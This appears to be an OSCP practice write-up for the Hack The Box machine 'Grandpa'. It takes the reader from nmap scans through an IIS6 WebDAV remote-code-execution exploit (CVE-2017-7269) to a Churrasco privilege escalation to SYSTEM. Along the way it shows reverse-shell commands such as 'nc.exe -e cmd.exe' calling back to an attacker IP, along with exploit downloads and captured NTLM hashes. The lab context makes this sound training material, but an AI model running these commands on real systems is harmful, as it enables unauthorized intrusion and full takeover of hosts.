> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/grandpa.md). # Grandpa ### Summary * Port 80 is vuln to IIS6 Webdav RCE * PrivEsc via churrasco ### Nmap ```bash ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# nmap -p- --min-rate 5000 -Pn 10.10.10.14 -oN all_ports.nmap Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 21:22 EDT Nmap scan report for 10.10.10.14 Host is up (0.17s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# nmap -p 80 -A --min-rate 5000 -Pn 10.10.10.14 -oN aggr.nmap Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 21:23 EDT Nmap scan report for 10.10.10.14 Host is up (0.17s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH | http-webdav-scan: | Server Type: Microsoft-IIS/6.0 | Server Date: Sun, 07 May 2023 01:23:58 GMT | WebDAV type: Unknown | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK |_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH |_http-server-header: Microsoft-IIS/6.0 |_http-title: Under Construction Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|media device Running (JUST GUESSING): Microsoft Windows 2000|XP|2003|PocketPC/CE (94%), BT embedded (85%) OS CPE: cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp1:professional cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_ce:5.0.1400 cpe:/h:btvision:btvision%2b_box Aggressive OS guesses: Microsoft Windows 2000 SP4 or Windows XP Professional SP1 (94%), Microsoft Windows Server 2003 SP1 (93%), Microsoft Windows Server 2003 SP1 or SP2 (93%), Microsoft Windows Server 2003 SP2 (93%), Microsoft Windows 2003 SP2 (92%), Microsoft Windows 2000 SP3/SP4 or Windows XP SP1/SP2 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows 2000 (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 172.15 ms 10.10.14.1 2 171.92 ms 10.10.10.14 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.05 seconds ``` ### IIS6webdav RCE (CVE-2017-7269) ```bash ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# python2.7 iis6\ reverse\ shell 10.10.10.14 80 10.10.14.4 443 PROPFIND / HTTP/1.1 Host: localhost Content-Length: 1744 If: (Not ) ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# nc -lvp 443 listening on [any] 443 ... 10.10.10.14: inverse host lookup failed: Unknown host connect to [10.10.14.4] from (UNKNOWN) [10.10.10.14] 1030 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>whoami whoami nt authority\network service ``` ### PrivEsc Using Churrasco (CVE-2008-1436) ```bash C:\temp>systeminfo systeminfo Host Name: GRANPA OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition OS Version: 5.2.3790 Service Pack 2 Build 3790 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Uniprocessor Free Registered Owner: HTB Registered Organization: HTB Product ID: 69712-296-0024942-44782 Original Install Date: 4/12/2017, 5:07:40 PM System Up Time: 0 Days, 3 Hours, 21 Minutes, 48 Seconds System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x86 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz BIOS Version: INTEL - 6040000 Windows Directory: C:\WINDOWS System Directory: C:\WINDOWS\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk Total Physical Memory: 1,023 MB Available Physical Memory: 756 MB Page File: Max Size: 2,470 MB Page File: Available: 2,294 MB Page File: In Use: 176 MB Page File Location(s): C:\pagefile.sys Domain: HTB Logon Server: N/A Hotfix(s): 1 Hotfix(s) Installed. [01]: Q147222 Network Card(s): N/A C:\temp>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAuditPrivilege Generate security audits Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled Win server 2003 & SeImpersonatePrivilege --> vuln to churrasco exploit https://github.com/Re4son/Churrasco/raw/master/churrasco.exe ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe --2023-05-07 02:27:05-- https://github.com/Re4son/Churrasco/raw/master/churrasco.exe Resolving github.com (github.com)... 20.205.243.166 Connecting to github.com (github.com)|20.205.243.166|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/Re4son/Churrasco/master/churrasco.exe [following] --2023-05-07 02:27:05-- https://raw.githubusercontent.com/Re4son/Churrasco/master/churrasco.exe Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 31232 (30K) [application/octet-stream] Saving to: ‘churrasco.exe’ churrasco.exe 100%[==========================================================>] 30.50K --.-KB/s in 0.002s 2023-05-07 02:27:06 (18.8 MB/s) - ‘churrasco.exe’ saved [31232/31232] ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# python3 /usr/local/bin/smbserver.py share . Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.10.14,1154) [*] AUTHENTICATE_MESSAGE (\,GRANPA) [*] User GRANPA\ authenticated successfully [*] :::00::aaaaaaaaaaaaaaaa [*] AUTHENTICATE_MESSAGE (HTB\GRANPA$,GRANPA) [*] User GRANPA\GRANPA$ authenticated successfully [*] GRANPA$::HTB:169f87da472acb4800000000000000000000000000000000:f692596efadc667f7c92789d62703f9ab5582895930c1462:aaaaaaaaaaaaaaaa [-] Unknown level for query path info! 0x109 [*] Closing down connection (10.10.10.14,1154) [*] Remaining connections [] C:\temp>copy \\10.10.14.4\share\churrasco.exe churrasco.exe copy \\10.10.14.4\share\churrasco.exe churrasco.exe 1 file(s) copied. C:\temp>churrasco.exe -d "c:\temp\nc.exe -e cmd.exe 10.10.14.4 80" churrasco.exe -d "c:\temp\nc.exe -e cmd.exe 10.10.14.4 80" /churrasco/-->Current User: NETWORK SERVICE /churrasco/-->Getting Rpcss PID ... /churrasco/-->Found Rpcss PID: 668 /churrasco/-->Searching for Rpcss threads ... /churrasco/-->Found Thread: 672 /churrasco/-->Thread not impersonating, looking for another thread... /churrasco/-->Found Thread: 676 /churrasco/-->Thread not impersonating, looking for another thread... /churrasco/-->Found Thread: 684 /churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x718 /churrasco/-->Getting SYSTEM token from Rpcss Service... /churrasco/-->Found NETWORK SERVICE Token /churrasco/-->Found LOCAL SERVICE Token /churrasco/-->Found SYSTEM token 0x710 /churrasco/-->Running command with SYSTEM Token... /churrasco/-->Done, command should have ran as SYSTEM! ┌──(root㉿kali)-[/home/kali/Documents/htb/10.10.10.14] └─# nc -lvp 80 listening on [any] 80 ... 10.10.10.14: inverse host lookup failed: Unknown host connect to [10.10.14.4] from (UNKNOWN) [10.10.10.14] 1160 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\TEMP>whoami whoami nt authority\system ```